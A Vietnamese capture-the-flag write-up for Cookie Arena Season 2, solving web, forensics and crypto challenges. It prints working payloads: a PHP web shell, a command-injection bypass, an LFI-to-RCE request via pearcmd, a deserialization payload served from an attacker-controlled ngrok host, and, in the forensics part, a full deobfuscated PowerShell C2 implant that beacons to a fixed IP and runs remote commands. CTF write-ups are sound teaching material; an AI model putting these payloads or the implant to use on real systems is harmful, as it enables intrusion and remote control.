Cookie Arena CTF Season 2
Writeup cho cookie arena CTF season, sau 2 ngày chiến đấu khốc liệt thì mình đã đạt được giải 3 🎉. Còn 2 bài web mình chưa giải kịp vì lúc đó mình quá là đuối rồi (┬┬﹏┬┬)
Web
Be Positive
Difficulty: Very Easy
Cách giải
Đăng nhập vào tài khoảng của Alice alice:alice
Vào tab transfer -> F12 edit html để cho nhập số âm
-> Nhập -3000 chuyển cho bob -> Được cộng 3000 vào tài khoản -> mua flag Note: lần đầu mua flag sẽ trả lại fake flag -> làm thêm 1 lần nữa sẽ ra flag thật
Flag
CHH{BE_cAr3fUL_WitH_NE6ATIV3_NumBeR_b0324d98840b47ddfb6f7a83847db90e}
Youtube Downloader
Difficulty: Very Easy
Cách giải
Nhập thử url http://testing/
thì thấy trả về youtube-dl --get-thumbnail http://testing/
Thử http://testing/;ls
thì thấy có thực thi lệnh -> Command Injection Mà nhập lệnh có dấu cách thì bị invalid url -> cần thực thi lệnh cat /flag.txt
mà không có dấu cách Có 1 cách đó là: CMD=$'\x20/flag'&&cat$CMD
Flag
CHH{Ea5y_cOmmaND_inj3c7Ion_62c5c9db3445ebd94c428d6a201e636}
Magic Login
Difficulty: Easy
Cách giải
Phần 1 F12 check source code -> cần nhập password sao cho sha256 của nó bằng 0
1
2
3
4
5
6
7
$pas = hash('sha256', mysql_real_escape_string($_POST['password']));
if($pas == "0"){
$_SESSION['logged'] = TRUE;
header("Location: upload.php"); // Modify to go to the page you would like
exit;
}
Thấy ở đây sử dụng ==
thay vì ===
-> Type Juggling -> Cần tìm hash nào bị chuyển về số 0 khi kiểm tra ==
-> PHP magic hash Nhập username & password phía dưới sẽ login được:
1
2
username: 123
password: TyNOQHUS
Phần 2 Sau khi login, ta sẽ thấy được trang web cho phép upload file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(isset($_FILES['fileData'])){
if($_FILES['fileData']['size'] > 1048576){
$errors='File size must be excately 1 MB';
}
if(empty($errors)==true){
$uploadedPath = "uploads/".rand().".".explode(".",$_FILES['fileData']['name'])[1];
move_uploaded_file($_FILES['fileData']['tmp_name'],$uploadedPath);
echo "File uploaded successfully\n";
echo '<p><a href='. $uploadedPath .' target="_blank">File</a></p>';
} else {
echo $errors;
}
}
Thử upload load php shell xem có chạy được không
1
<?php echo "--><form method='get'><input type='text' name='c' value='".$_GET['c']."'><input type='submit' name='go' value='Go!'></form>\n<pre>";passthru($_GET['c']." 2>&1");echo "</pre>"; ?>
-> kết quả là chạy được file php đó
Flag
CHH{PHP_m4g1c_tr1ck_0lD_but_g0lD_f8a898ac5c6ab5ad2306d1d3fee21423}
Magic Login Harder
Difficulty: Easy
Cách giải
Phần 1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if(isset($_POST["submit"])){
$username = base64_decode($_POST['username']);
$password = base64_decode($_POST['password']);
if(($username == $password)){
echo 'Username and password are not the same';
}
else if((md5($username)===md5($password))){
$_SESSION['username'] = $username;
header('Location: admin.php?file=1.txt');
} else {
echo 'Username and password are wrong';
}
}
?>
Để login vào tài khoản thì cần tìm username và password sao cho chúng khác nhau mà md5 của chúng lại bằng nhau -> md5 collison Hai block:
1
2
3
4
d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f89
55ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5b
d8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0
e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70
1
2
3
4
d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f89
55ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5b
d8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0
e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70
có cùng md5 là 79054025255fb1a26e4bc422aef54eb4
Sau đó base64 encode chúng và login thôi :v
1
2
username = '0THdAsXm7sRpPZoGmK/5XC/KtYcSRn6rQARYPrj7f4lVrTQGCfSzAoPkiIMlcUFaCFEl6PfNyZ/ZHb3ygDc8W9iCPjFWNI9brm2s1DbJGcbdU+K0h9oD/QI5YwbSSM2g6Z8zQg9XfujOVLZwgKgNHsaYIby2qIOTlvllK2/3KnA='
password = '0THdAsXm7sRpPZoGmK/5XC/KtQcSRn6rQARYPrj7f4lVrTQGCfSzAoPkiIMl8UFaCFEl6PfNyZ/ZHb1ygDc8W9iCPjFWNI9brm2s1DbJGcbdU+I0h9oD/QI5YwbSSM2g6Z8zQg9XfujOVLZwgCgNHsaYIby2qIOTlvllq2/3KnA='
Phần 2 Khi login xong ta tiếp tục di chuyển qua /admin.php
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
header('Content-Type: text/html; charset=utf-8');
session_start();
if($_SESSION['username'] != null){
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}
}
else{
die("Only admin can use this");
}
?>
-> Có LFI (Local File Inclusion) Mà file flag được tạo random nên không thể đọc trực tiếp được. Vậy, ta cần RCE để thực hiên lệnh ls
để biết tên file
- Để thực hiện lệnh
ls /
1
GET /admin.php?+config-create+/&file=.././.././.././.././../usr/local/lib/./php/peclcmd.php&/<?=system(base64_decode('bHMgLw=='));?>+/tmp/hello.php
-> Vào
/tmp/hello.php
tìm được tên của file flag:flag0WZMk.txt
- Thực hiên lệnh
cat /flag0WZMk.txt
1
GET /admin.php?+config-create+/&file=.././.././.././.././../usr/local/lib/./php/peclcmd.php&/<?=system(base64_decode('Y2F0IC9mbGFnMFdaTWsudHh0'));?>+/tmp/hello.php
-> Vào
/tmp/hello.php
có flag
Note:
Nhập các link phía trên thông qua burpsuite vì trên browser sẽ tự động urlencode và payload sẽ không hoạt động
Flag
CHH{7yPE_jU66lin9_hArdEr_9aa6f2645e0bf6d0f2c822c8c7d68aa2}
Pass Code
Difficulty: Easy
RE trá hình :v
Cách giải
Đem script trong source code đi deobfuscate các kiểu rồi phân tích (mình mất khoảng 30p ngồi đọc code huhu). Sau khi phân tích thì thấy ở cuối script có đoạn cũng khá khả nghi vì sử dụng CryptoJS các kiểu.
1
2
3
4
5
6
7
8
9
_0x46d3cf = _0x46d3cf[_0xea2690(0x433, 0x43d, 0x42e, 0x42b)]((_0x294fdc) =>
CryptoJS[_0xea2690(0x410, 0x414, 0x407, 0x41c)]
[_0xea2690(0x42c, 0x410, 0x41b, 0x420)](
_0x294fdc,
_0x56ba08(0x365, 0x35e, 0x353, 0x354) +
_0x56ba08(0x34b, 0x34d, 0x352, 0x361)
)
['toString'](CryptoJS[_0x56ba08(0x34c, 0x357, 0x336, 0x336)]['Utf8'])
);
Copy các hàm được sử dụng vào devtool của trang đó để chạy xem ra kết quả gì (nhớ khai báo các hàm bị thiếu khi devtool báo lỗi) Sau khi test thử các hàm thì thấy _0x56ba08(0x365, 0x35e, 0x353, 0x354) + _0x56ba08(0x34b, 0x34d, 0x352, 0x361)
trả về chuỗi bánh quy chấm sữa
-> Có thể là key, vào tab flag nhập thì đúng là vậy.
Flag
CHH{jAvAscRIP7_o8FuSCaTe_8f9ec3f769ac72b136c586a699c97111}
Video Link Extractor
Difficulty: Hard
Cách giải
Ở trong file utils.php
thấy có sử dụng unserialize và trong hàm __wakeup
có đoạn include $this->_file
-> Cơ hội cao là liên quan đến php deserialization
Hai điểm nhấn:
- Trong file
index.php
ta thấy1 2 3 4 5 6 7 8 9 10 11 12 13 14
if (isset($parameter['mode'])) { switch ($parameter['mode']) { case "extract": $utils ->_id = $parameter['id']; $utils ->_host = $parameter['host']; $result = $utils->extract_video_information(); print($utils); break; case "redirect": $url = $parameter['url']; header("Location: ".$url); } }
- Trong file
utils.php
ta thấy1 2 3 4 5 6 7 8
switch ($host) { case "local": //$link = $this->_id; $link = "http://localhost:1337/".$this->_id; $serial_obj = file_get_contents($link); $content = unserialize($serial_obj); break; }
Ta thấy nếu host là local thì nó sẽ tải file từ localhost:1337/*
về và unserialize nó Có đoán được mục tiêu giải là cho server tải file từ server bên ngoài về để unserialize.
Nhưng làm thế nào?
Có thể thấy trong file index.php
. Nếu mode là redirect
thì ta có thể cho server request đến server của riêng ta.
Kết hợp với host = local
ở trên ta có thể làm như sau
GET /index.php?mode=extract&host=local&id=%3Fmode=redirect%26url=https://[random].ngrok-free.app
-> Có request đến server
Tiếp theo là tạo payload để cho vào unserialize
Script tạo payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class Utils
{
public $_file;
public $_id;
public $_host;
public $_result;
}
$user = new Utils;
$user->_file = "php://filter/convert.base64-encode/resource=flag.php";
echo serialize($user);
?>
# O:5:"Utils":4:{s:5:"_file";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:3:"_id";N;s:5:"_host";N;s:7:"_result";N;}
Mình cần đọc flag.php
nhưng nếu include trực tiếp như trong hàm __wakeup
thì sẽ không thấy được flag nên phải dùng php filter
Lưu kết quả được tạo bởi script vào một file nào đó (ở đây mình để evil.php
) và expose nó để cho bên ngoài tải về (sử dụng python3 -m http.server 80
kết hợp với ngrok http 80
)
Ta có payload cuối cùng:
1
GET /index.php?mode=extract&host=local&id=%3Fmode=redirect%26url=https://[random].ngrok-free.app/evil.php
Kết quả là: Base64 decode ra flag
Flag
CHH{RCe_VIa_Ph4R_D3SeR1A11Sat10n_0ba9367e2d88c15aa3c17816d9ce1db6}
Forensics
Tin học văn phòng
Difficulty: Easy
Cách giải
Sử dụng olevba
để phân tích vba có trong file doc
Flag
CHH{If_u_w4nt_1_will_aft3rnull_u}
Sổ đăng ký
Difficulty: Easy
Cách giải
File NTUSER.DAT
là registry hive -> Sử dụng regripper để phân tích Tìm trong file log sau khi chạy xong thấy có đoạn code powershell sau
1
(neW-obJEct io.COMprEssIon.dEFlATesTReAm( [sySTem.IO.memorYSTREam] [coNVeRT]::FRoMBAse64stRInG( 'TVFva4JAGP8qh7hxx/IwzbaSBZtsKwiLGexFhJg+pMs09AmL6rvP03S9uoe739/nZD+OIEHySmwolNn6F3wkzilH2HEbkDupvwXM+cKaWxWSSt2Bxrv9F64ZOteepU5vYOjMlHPMwNuVQnItyb8AneqOMnO5PiEsVytZnHkJUjnvG4ZuXB7O6tUswigGSuVI0Gsh/g1eQGt8h6gdUo98CskGQ8aIkgBR2dmUAw+9kkfvCiiL0x5sbwdNlQUckb851mTykfhpECUbdstXjo2LMIlEE0iCtedvhWgER1I7aKPHLrmQ2QGVmkbuoFoVvOE9Eckaj8+26vbcTeomqptjL3OLUM/0q1Q+030RMD73MBTYEZFuSmUMYbpEERduSVfDYZW8SvwuktJ/33bx/CeLEGirU7Zp52ZpLfYzPuQhZVez+SsrTnOg7A8='), [SYSTEM.iO.ComPReSSion.CoMPrEsSIonmODe]::DeCOmpresS)|FOREAcH-object{ neW-obJEct io.streAMrEadeR( $_,[sysTem.TExt.EnCoDING]::asCIi )}).reaDToEnD()|inVOKe-exprEsSIon
Chạy lệnh trên powershell cho nó tự deobfuscate r sử dụng Out-String
để xem dạng string của nó -> Lấy được flag
Flag
CHH{N0_4_go_n0_st4r_wh3r3}
TrivialFTP
Difficulty: Easy
Cách giải
Đoc lướt file pcapng thì thấy ở cuối file có mấy request gửi data giống với dạng PDF.
Extract data đó ra thành file pdf Lúc này vẫn chưa xong về file pdf này được chuyển đi dưới chế độ netascii (vì đang ‘sử dụng’ tftp)
Thì để chuyển netascii sang ascii thì ta chỉ cần thay thế 2 byte \x0d\x0a
thành \x0a
, 2 byte \x0d\x00
thành \x0d
Ref: https://en.wikipedia.org/wiki/Trivial_File_Transfer_Protocol
Netascii is a modified form of ASCII, defined in RFC 764. It consists of an 8-bit extension of the 7-bit ASCII character space from 0x20 to 0x7F (the printable characters and the space) and eight of the control characters. The allowed control characters include the null (0x00), the line feed (LF, 0x0A), and the carriage return (CR, 0x0D). Netascii also requires that the end of line marker on a host be translated to the character pair CR LF for transmission, and that any CR must be followed by either a LF or the null.
Solve script:
1
2
3
4
5
6
7
8
9
10
import binascii
with open('data', 'r') as f:
lines = f.readlines()
data = b''
for line in lines:
data += binascii.unhexlify(line[8:].strip().encode())
data = data.replace(b'\x0d\x0a', b'\x0a').replace(b'\x0d\x00', b'\x0d')
f2 = open('flag.pdf', 'wb')
f2.write(data)
Flag
CHH{FTP_4nd_TFTP_4r3_b0th_un$af3}
Báo cáo dang dở
Difficulty: Medium
Cách giải
Đề cho 1 file MEMORY.DMP
nên mình sử dụng volatility để phân tích nó. Mình sử dụng imageinfo thì bị lỗi do đây là Window crash dump.
Sau đó mình mở file đó lên bằng HxD để tìm xem có string nào để gợi ý cái profile của nó không.
Mình thấy rằng header là PAGEDU64
nên search thử google xem nó là gì, search một hồi thì thấy nó là cửa win 64bit nên mình chạy thử với profile Win7SP1x64 thì thấy được
Thấy có WINWORD.exe
là process của microsoft word nên chắc chắn đây là ứng dụng dùng để viết báo cáo.
Sử dụng plugin filescan
để liệt kê tât cả các file các trong memory.
1
volatility.exe -f "MEMORY.DMP" --profile=Win7SP1x64 filescan > filelist
Mở filelist
lên và tìm chuỗi Word
để tìm các file liên quan tới Microsoft Word. Thì sau khi lướt quá các kết quả thì thấy có 1 file cũng khá thú vị.
AutoRecovery save of Document1.asd
Search google thì thấy rằng file tự động khôi phục quá trình của microsoft word hay là “AutoRecovery save” và mình có thể mở file này trực tiếp bằng word.
Extract file đó ra bằng module dumpfiles
và mở nó bằng word.
1
volatility.exe -f "MEMORY.DMP" --profile=Win7SP1x64 dumpfiles -Q 0x000000007e372640 -n --dump-dir=.
Sau khi mở file thì nó báo lỗi.
Lỗi bảo là phải để đúng đường dẫn thì mới chịu khôi phục. Thì ở phía trên trong filelist
ta thấy rằng file AutoRecovery save of Document1.asd
ban đầu nằm ở Users\admin\AppData\Roaming\Microsoft\Word\AutoRecovery save of Document1.asd
Thì mình chỉ cần để file đó vào đúng đường dẫn là chạy được, và phải thay username thành username của máy mình
Sau khi mở file thì sẽ thấy flag ở trang cuối.
Flag
CHH{4ut0R3c0v3r_s4v3_my_l1f3}
Under Control
Difficulty: Hard
Cách giải
Sử dụng olevba
để extract macros ra thì thấy đoạn code bị obfuscate
Copy đống đó ra, rồi tự deobfuscate bằng tay thui :v
Trong khi deobf cái hàm đầu tiên thì thấy rằng nó có chức năng như 1 substistution cipher với cái alphabet thứ nhất là
1
alphabet1 = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
Và alphabet thứ hai là:
1
alphabet2 = "ãXL1lYU~Ùä,Ca²ZfÃ@dO-cq³áÕsÄJV9AQnvbj0Å7WI!RBg§Ho?K_F3.Óp¥ÖePâzk¶ÛNØ%G mÜ^M&+¡#4)uÀrt8(ÒSw|T*Â$EåyhiÚx65Dà¿2ÁÔ"
Sau mình đó tìm tất cả nơi mà hàm này được sử dụng, sau một lúc thì mình thấy có dòng này giống như 1 đường link
1
func1("ܳ³Bb://uàb³~uà³Ü¿k¿bE²6xi³Ei³~6xQ/k7¿_iQ_i/fÀ3_o-3Yf0_E6m6kk3_km§3Y03ÀY_3__/²_Ä/À3EÀkfmfÀ@Eããoãä§k@_@ã0ä6_E3-ãY036-@@koo/_Àmb6m@§~Bb@")
Sau khi tự implement cái substitute cipher và chạy thì nó trả về đường link sau:
alphabet1 = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
alphabet2 = "ãXL1lYU~Ùä,Ca²ZfÃ@dO-cq³áÕsÄJV9AQnvbj0Å7WI!RBg§Ho?K_F3.Óp¥ÖePâzk¶ÛNØ%G mÜ^M&+¡#4)uÀrt8(ÒSw|T*Â$EåyhiÚx65Dà¿2ÁÔ"
def rev_func1(s):
new_s = ""
for c in s:
try:
i = alphabet1.index(c)
new_s += alphabet2[i]
except ValueError:
new_s += c
return new_s
print(rev_func1('ܳ³Bb://uàb³~uà³Ü¿k¿bE²6xi³Ei³~6xQ/k7¿_iQ_i/fÀ3_o-3Yf0_E6m6kk3_km§3Y03ÀY_3__/²_Ä/À3EÀkfmfÀ@Eããoãä§k@_@ã0ä6_E3-ãY036-@@koo/_Àmb6m@§~Bb@'))
Output sau khi chạy:
1
https://gist.githubusercontent.com/bquanman/98da73d49faec0cbbdab02d4fd84adaa/raw/8de8b90981e667652b1a16f5caed364fdc311b77/a80sc012.ps1
Đường link dẫn đến file powershell
Bước tiếp theo làm tương tự như bài Sổ đăng kí, cho powershell tự deobf bằng cách xài Out-String
, output sẽ ra đống này, deobf tiếp thồi :v
Lần này thì mình sử dụng tool PowerDecode cho nó lẹ :penguin:
Sau khi decode thì dễ nhìn hơn hẵn
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
${8rT3WA} = [tyPe]'sySTEm.seCUrItY.cryPTOGRaphY.CiphERMOde' ;SV '72j5O' ( [TYpe]'sYstem.seCuriTY.cRYptoGRapHY.paDDingmOde' ) ; ${XNfD}=[tyPe]'System.cONVErT' ; ${HLvW1} = [tYPe]'SYStEM.tEXt.EnCOdiNG'; SeT-iTem 'vARIabLE:92y7' ( [Type]'SysteM.NEt.dnS') ; ${UJXRc}=[tyPE]'StrinG' ;function CrEATe-AeSmanAGeDoBJeCt(${vxZTmff}, ${5TMRWpLUy}) {
${AJuJVRAZ99} = New-Object 'System.Security.Cryptography.AesManaged'
${AJUjvrAZ99}.Mode = ( gEt-vARIAblE ("8rt3Wa") -Value )::"cBc"
${aJujVRAZ99}.PAddInG = ( Dir 'vARIable:72j5o' ).VALUe::"zeRos"
${AJUJvrAz99}.BlOckSizE = 128
${AjuJvRAz99}.keysIze = 256
if (${5TMRWPluy}) {
if (${5TmRWpLuy}.getType.iNVOke().nAME -eq 'String') {
${ajUjvRaZ99}.Iv = (dir 'vaRIaBle:xNFd').vAlUe::'FromBase64String'.InVOKe(${5TMRWPlUy})
}
else {
${ajUjVraZ99}.IV = ${5tmRwPLUy}
}
}
if (${VxZtMFF}) {
if (${VXzTmfF}.getType.INvoKe().nAME -eq 'String') {
${ajUjVraZ99}.Key = ( LS 'VariAble:XNFD' ).vAluE::'FromBase64String'.invOKe(${vxzTmFF})
}
else {
${AjUJVrAZ99}.key = ${vXzTmff}
}
}
${aJUjvRAZ99}
}
function eNCRYpT(${VxzTMFf}, ${ROFPdqRF99}) {
${ByTES} = ( varIable 'hlvW1' ).vALUE::"uTf8".GetBytes.INVokE(${rOFpdQRF99})
${ajujVRAZ99} = Create-AesManagedObject ${VXZtMFf}
${qDIqLGaQ99} = ${aJujVRAZ99}.CreateEncryptor.inVoKe()
${lwihYmIF99} = ${QdiqLgaq99}.TransformFinalBlock.iNvOKe(${byTeS}, 0, ${byTes}.LeNgTh);
[byte[]] ${fJAxUWQN99} = ${AJujvRAz99}.Iv + ${lWiHYmiF99}
${ajUJVRAZ99}.Dispose.iNVOKE()
${xNFd}::"tOBase64STRiNG".iNvoke(${FjAXUWqN99})
}
function deCRyPT(${VXztmFF}, ${bKJrxQCf99}) {
${bYTEs} = (vARiable 'xnfd' ).ValuE::'FromBase64String'.InVOKE(${BkjRxqcF99})
${5tMRWpLuY} = ${BYTes}[0..15]
${aJuJVraz99} = Create-AesManagedObject ${VxZTmFF} ${5TMRwpLUY}
${MNDmWYnB99} = ${AJUjvRAz99}.CreateDecryptor.InVoke();
${AhtLMYhl99} = ${MNDmWynB99}.TransformFinalBlock.iNvokE(${bYTES}, 16, ${byTeS}.lENgTH - 16);
${AJUjVRAZ99}.Dispose.INVOKE()
${HLVW1}::"uTF8".GETStriNg(${AhtLmYhl99}).TRIM([char]0)
}
function ShELL(${DfJz1co}, ${yo8xm5}){
${CwzVYVJ} = New-Object 'System.Diagnostics.ProcessStartInfo'
${CwZVyVj}.FIlename = ${DFjZ1co}
${CWzvYvj}.reDIRecTsTAnDaRdERrOR = ${TRue}
${cwZVYVJ}.ReDIREcTsTANdarDoUTPUT = ${tRUe}
${CWZvyVJ}.USEshELleXeCUTe = ${FALsE}
${cwzvyVJ}.aRgUmENtS = ${yO8xm5}
${p} = New-Object 'System.Diagnostics.Process'
${P}.sTArTiNFO = ${CWzvYVj}
${p}.Start.INvoKE() | Out-Null
${P}.WaitForExit.invoKE()
${BHnxNUrW99} = ${p}.staNdardOuTpUT.ReadToEnd.INVOkE()
${NmWkjOAB99} = ${p}.StANdArdeRrOR.ReadToEnd.Invoke()
${kCNjcQdL} = ('VALID '+"$BhnXnUrW99n$nmWKJOAb99")
${KcnJcQDl}
}
${FZvyCr} = '128.199.207.220'
${twFTrI} = '7331'
${VxzTmff} = 'd/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M='
${n} = 3
${Cwj2TWh} = ""
${yCRUTw} = ${92Y7}::'GetHostName'.inVoKE()
${FNFFGXDzj} = "p"
${DFctDFM} = ('http:' + "//$FZVYCR" + ':' + "$TwFTRi/reg")
${kVQBXbuR} = @{
'name' = "$YCRUTw"
'type' = "$fNFFGXDZJ"
}
${CWj2TWh} = (Invoke-WebRequest -UseBasicParsing -Uri ${dFctDFM} -Body ${kVqBxbUr} -Method 'POST').coNTENT
${TvYMeYrR99} = ('http:' + "//$FZVYCR" + ':' + "$TwFTRi/results/$cWJ2Twh")
${iJfySE2} = ('http:' + "//$FZVYCR" + ':' + "$TwFTRi/tasks/$cWJ2Twh")
for (;;){
${MA04XMgY} = (Invoke-WebRequest -UseBasicParsing -Uri ${IJFYSE2} -Method 'GET').cONTeNt
if (-Not ${UJXRc}::'IsNullOrEmpty'.INvOKe(${MA04XmGy})){
${mA04XMgY} = Decrypt ${VXZTmff} ${Ma04XMgY}
${mA04XMgY} = ${ma04XMgy}.split.INvokE()
${FLAG} = ${MA04xmgY}[0]
if (${FlAg} -eq 'VALID'){
${WB1SWYoje} = ${MA04XMgY}[1]
${yO8XM5S} = ${Ma04XMgY}[2..${MA04xmgY}.LeNgTH]
if (${wb1sWyoJe} -eq 'shell'){
${F} = 'cmd.exe'
${yO8XM5} = "/c "
foreach (${a} in ${yo8xM5s}){ ${Yo8xm5} += ${a} + " " }
${KcNJCQdL} = shell ${f} ${yo8xM5}
${kCnjCQDL} = Encrypt ${VxztMFF} ${kcNjcqdl}
${kvqbXBUr} = @{'result' = "$KcnJCQDl"}
Invoke-WebRequest -UseBasicParsing -Uri ${tVyMEyRR99} -Body ${kVQbXbur} -Method 'POST'
}
elseif (${Wb1SwYOJe} -eq 'powershell'){
${f} = 'powershell.exe'
${yO8Xm5} = "/c "
foreach (${a} in ${Yo8xM5s}){ ${YO8xm5} += ${a} + " " }
${kcNjcqdL} = shell ${F} ${yO8XM5}
${kcnjCQDL} = Encrypt ${vXZTmfF} ${KCNjcqDl}
${KVqbxBUr} = @{'result' = "$KcnJCQDl"}
Invoke-WebRequest -UseBasicParsing -Uri ${tvyMEYRR99} -Body ${kVqBXbUr} -Method 'POST'
}
elseif (${wb1swYOJe} -eq 'sleep'){
${n} = [int]${yO8Xm5S}[0]
${kVQBXbur} = @{'result' = ""}
Invoke-WebRequest -UseBasicParsing -Uri ${tVYmeyrR99} -Body ${KvQBXBur} -Method 'POST'
}
elseif (${wb1sWyojE} -eq 'rename'){
${cwJ2tWh} = ${YO8Xm5S}[0]
${TVYmeyRr99} = ('http:' + "//$FZVYCR" + ':' + "$TwFTRi/results/$cWJ2Twh")
${ijFYsE2} = ('http:' + "//$FZVYCR" + ':' + "$TwFTRi/tasks/$cWJ2Twh")
${kVQbXbUr} = @{'result' = ""}
Invoke-WebRequest -UseBasicParsing -Uri ${TVYmEyRR99} -Body ${KvqBxbUr} -Method 'POST'
}
elseif (${wB1sWYOJe} -eq 'quit'){
exit
}
}
sleep ${N}
}
}
Sau một hồi phân tích code thì mình rút ra được rằng script này đang gửi request tới server, với mỗi data của mỗi request được encrypt bằng AES-CBC với key là d/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M=
và IV được gắn vào phía trước của data sau khi data được encrypt
Tiếp theo thì rút data của mấy request đó khỏi pcap bằng tshark
Cuối cùng là decrypt nó với key và iv thui :v
Vẫn chưa hết… mình thấy có một khối chứa toàn hex, mình đem đi decode thì thấy đó là 1 file png… nhưng thiếu header
Sau đó mình thêm vào header của nó 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
Mở ảnh lên thì thấy mã QR, quét nó là ra flag
Flag
CHH{D0n't_w0rRy_n0_st@r_wh3rE}
Crypto
Basic Operator
Difficulty: Easy
Challenge script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from Crypto.Util import number
def padding_pkcs7(data,block_size=4):
tmp = len(data) + (block_size - len(data) % block_size)
return data.ljust(tmp,bytes([block_size-(len(data)%block_size)]))
def split_block(data,block_size):
return list(int.from_bytes(data[i:i+block_size],'little') for i in range(0,len(data),block_size))
def plus_func(data,shift):
return (data+shift)&0xffffffff
def mul_func(data,mul):
return (data*mul)&0xffffffff
def xor_shift_right_func(data,bit_loc):
return (data^(data>>bit_loc))&0xffffffff
def pow_func(data,e,p):
return pow(data,e,p)
def exp_func(data,base,p):
return pow(base,data,p)
def ecb_mode(data):
return list(pow_func(exp_func(xor_shift_right_func(mul_func(plus_func(block,3442055609),2898124289),1),e,p),e,p) for block in split_block(padding_pkcs7(data,4),4))
if __name__=='__main__':
p = 1341161101353773850779
e = 2
mess = b'CHH{CENSORED}'
cipher_flag = ecb_mode(mess)
print(cipher_flag)
Ý tưởng giải là viết hàm ngược lại của các hàm *_func()
rồi áp vô cipher.
- Với hàm pow_func: vì e = 2 nên chức năng của hàm là $x^2 \; \% \; p$ với x là số mình đưa vào. Để tìm ngược lại thì mình sử dụng modular squareroot để tính. Vì modular sqrt của 1 sô có thể ra nhiều đáp án nên mình sử dụng hàm của sagemath cho tiện.
- Với hàm exp_func: $f(x) = 2^x \; \% \; p$. Để tìm x thì mình phải tính discrete log. Sagemath có sắn luôn nên xài cho tiện
- Với hàm xor_shift_right_func: Để ý thấy bit đầu không bị thay đổi, từ đó mình có thể lấy nó xor với bit thứ 2 để lấy lại bit thứ 2 ban đầu, rồi làm tương tự với những bit còn lại
- Với hàm mul_func: Mình có thể chuyển toán tử & sang toán tử % bằng việc cộng 1 vô số vế phải (nếu số phải là lẻ) vd: & 0xffffffff -> % (0x100000000). Tiếp theo xài inverse của thư viện pycryptodome để tính.
- Với plus_func: tương tự như trên nhưng mình trừ nó thay vì nhân với inverse.
Script solve:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from Crypto.Util.number import inverse, long_to_bytes
# from sympy.ntheory import discrete_log
from sage.all import *
c = [752589857254588976778, 854606763225554935934, 102518422244000685572, 779286449062901931327, 424602910997772742508, 1194307203769437983433,
501056821915021871618, 691835640758326884371, 778501969928317687301, 1260460302610253211574, 833211399330573153864, 223847974292916916557]
p = 1341161101353773850779
e = 2
def rev_plus_func(data,shift):
return (data-shift) % (0xffffffff + 1)
def rev_mul_func(data,mul):
return (data * inverse(mul, 0xffffffff + 1)) % (0xffffffff + 1)
def rev_pow_func(data,e,p):
return mod(data, p).sqrt(all=True)
# return modular_sqrt(data, p)
def rev_exp_func(data,base,p):
R = IntegerModRing(p)
x = discrete_log(R(data), R(base))
return x
flag = b''
for ci in c:
for n0 in rev_pow_func(ci, e, p):
n1 = rev_exp_func(n0, e, p)
# reverse xor_shift_right_func
if n1 > 0xffffffff:
continue
l = 0xffffffff.bit_length()
new = [(n1 >> l - 1) & 1] + [None] * (l - 1)
for i in range(l - 1, 0, -1):
b = new[l - 1 - i]
b2 = (n1 >> (i - 1)) & 1
new[l - i] = b2 ^ b
n2 = int(''.join([str(i) for i in new]), 2)
n3 = rev_mul_func(n2, 2898124289)
n4 = rev_plus_func(n3, 3442055609)
flag += long_to_bytes(n4)[::-1]
print(flag)
Flag
CHH{w3lc0m3_70_7h3_m47h_w0rld(1_h4t3_1t_th3r3)}
Knapsack Ls
Difficulty: Medium
Cách giải
Ý tưởng là sử dụng thuật toán LLL để giải bài toán 0/1 knapsack Các tài liệu giải thích: Knapsack Cipher và paper này Mục tiêu là tạo ma trận như sau
rồi áp dụng dụng thuật toán LLL lên nó.
Script solve:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from Crypto.Util.number import long_to_bytes
from sage.all import *
